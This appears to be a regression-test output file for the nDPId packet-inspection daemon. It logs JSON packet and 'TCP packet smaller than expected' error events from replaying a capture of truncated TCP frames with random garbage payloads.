-00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8318,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032602706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhZkAGREsKAAACCoAAAigqJl4lJCMmKihLSUpIR0Y="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8319,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032605293} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8319,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032602706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhaEAGREkKAAACCoAAAkQyKiZERkdISksmXiUkIyM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8320,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032605316} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8320,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032602706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhakAGREcKAAACCoAAAkVUUiVZXlUmSSpPUHsiOmg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8321,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032605329} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8321,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032602706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhbEAGREUKAAACCoAAAmRmbGtkYT5MPE1OQkhHRkQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8322,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032605341} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8322,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032602706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhbkAGREMKAAACCoAAAkVXI0AkJV5IQkdWCjQyMTQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8323,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032605354} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8323,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032602706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhcEAGREEKAAACCoAAAjYzMTk4MjA1MSkoKiZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8324,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032605367} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8324,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032602706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhckAGRD8KAAACCoAAAiNAIyQlXiYqKComXiUkI3I="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8325,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032605379} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8325,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032602706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhdEAGRD0KAAACCoAAAnNkbHVoZ2tmZHNia252Yy8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8326,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032605392} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8326,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032602706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhdkAGRDsKAAACCoAAAi50Z2Z0Zz9HUj9HUj9zUj8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8327,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032605407} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8327,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032602706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAheEAGRDkKAAACCoAAAjc0ODM5NikoKiZeJSQjQCE="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8328,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032605420} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8328,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032602706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhekAGRDcKAAACCoAAAkAjJCVeJiooKSgqJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8329,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032605432} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8329,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032602706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhfEAGRDUKAAACCoAAAkAjJCVeJiooKiZeJSQjJio="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8330,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032605447} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8330,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032602706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhfkAGRDMKAAACCoAAAihLSUpIR0ZEMiomREZHSEo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8331,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032605460} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8331,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032602706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhgEAGRDEKAAACCoAAAksmXiUkIyNFVFIlWV5VJkk="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8332,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032605473} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8332,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032602706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhgkAGRC8KAAACCoAAAipPUHsiOmhkZmxrZGE+TDw="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8333,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032605486} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8333,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032602706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhhEAGRC0KAAACCoAAAk1OQkhHRkRFVyNAJCVeSEI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8334,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032605498} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8334,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032602706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhhkAGRCsKAAACCoAAAkdWCjQyMTQ2MzE5ODIwNTE="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8335,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032605518} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8335,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032602706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhiEAGRCkKAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8336,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032605531} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8336,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032602706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhikAGRCcKAAACCoAAAiomXiUkI3JzZGx1aGdrZmQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8337,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032605544} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":8337,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032602706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhjEAGRCUKAAACCoAAAnNia252Yy8udGdmdGc\/R1I="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8338,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032605557} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8338,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032602706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhjkAGRCMKAAACCoAAAj9HUj9zUj83NDgzOTYpKCo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8339,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032605570} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8339,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032602706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhkEAGRCEKAAACCoAAAiZeJSQjQCFAIyQlXiYqKCk="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8340,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032605585} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8340,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032602706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhkkAGRB8KAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8341,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032605598} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8341,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032602706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhlEAGRB0KAAACCoAAAiZeJSQjJiooS0lKSEdGRDI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8342,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032605611} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8342,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032602706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhlkAGRBsKAAACCoAAAiomREZHSEpLJl4lJCMjRVQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8343,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032605624} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8343,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032602706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhmEAGRBkKAAACCoAAAlIlWV5VJkkqT1B7IjpoZGY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8344,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032605636} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8344,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032602706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhmkAGRBcKAAACCoAAAmxrZGE+TDxNTkJIR0ZERVc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8345,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032605651} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8345,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032602706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhnEAGRBUKAAACCoAAAiNAJCVeSEJHVgo0MjE0NjM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8346,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032605664} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8346,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032602706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhnkAGRBMKAAACCoAAAjE5ODIwNTEpKComXiUkI0A="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8347,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032605677} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8347,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032602706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhoEAGRBEKAAACCoAAAiMkJV4mKigqJl4lJCNyc2Q="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8348,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032605690} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8348,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032602706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhokAGRA8KAAACCoAAAmx1aGdrZmRzYmtudmMvLnQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8349,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032605703} -00362{"packet_event_id":1,"packet_event_name":"packet","packet_id":8349,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032602706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhpEAGRA0KAAACCoAAAmdmdGc\/R1I\/R1I\/c1I\/NzQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8350,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032605716} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8350,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032602706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhpkAGRAsKAAACCoAAAjgzOTYpKComXiUkI0AhQCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8351,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032605730} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8351,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032602706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhqEAGRAkKAAACCoAAAiQlXiYqKCkoKiZeJSQjQCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8352,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032605743} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8352,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032602706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhqkAGRAcKAAACCoAAAiQlXiYqKComXiUkIyYqKEs="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8353,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032605755} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8353,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032602706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhrEAGRAUKAAACCoAAAklKSEdGRDIqJkRGR0hKSyY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8354,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032605768} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8354,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032602706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhrkAGRAMKAAACCoAAAl4lJCMjRVRSJVleVSZJKk8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8355,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032605781} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8355,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032602706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhsEAGRAEKAAACCoAAAlB7IjpoZGZsa2RhPkw8TU4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8356,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032605795} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":8356,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032602706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhskAGQ\/8KAAACCoAAAkJIR0ZERVcjQCQlXkhCR1Y="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8357,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032605807} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":8357,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032602706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhtEAGQ\/0KAAACCoAAAgo0MjE0NjMxOTgyMDUxKSg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8358,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032605820} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":8358,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032602706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhtkAGQ\/sKAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8359,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032605832} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":8359,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032602706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhuEAGQ\/kKAAACCoAAAl4lJCNyc2RsdWhna2Zkc2I="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8360,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032605845} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":8360,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032602706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhukAGQ\/cKAAACCoAAAmtudmMvLnRnZnRnP0dSP0c="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8361,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032605857} -00361{"packet_event_id":1,"packet_event_name":"packet","packet_id":8361,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032602706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhvEAGQ\/UKAAACCoAAAlI\/c1I\/NzQ4Mzk2KSgqJl4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8362,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032605873} 